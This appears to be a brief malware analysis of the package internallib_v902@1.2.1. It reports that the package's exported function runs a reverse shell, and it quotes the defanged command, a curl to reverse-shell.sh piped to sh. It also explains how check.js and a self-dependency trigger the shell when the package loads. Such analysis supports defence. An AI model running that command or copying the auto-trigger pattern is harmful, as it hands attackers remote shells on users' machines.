internallib_v902@1.2.1

Analysis

internallib_v902@1.2.1 ships index.js whose exported command() function executes a reverse shell via exec('/bin/bash -c "curl hxxps://reverse-shell[.]sh/10[.]0[.]2[.]61:443|sh"'), fetching a shell from reverse-shell.sh and piping it to sh, giving the remote host (10[.]0[.]2[.]61:443) a shell on the installer's machine. The bundled check.js requires the package and calls command(), so loading the module triggers the reverse shell. The package also declares itself as a dependency to force self-loading.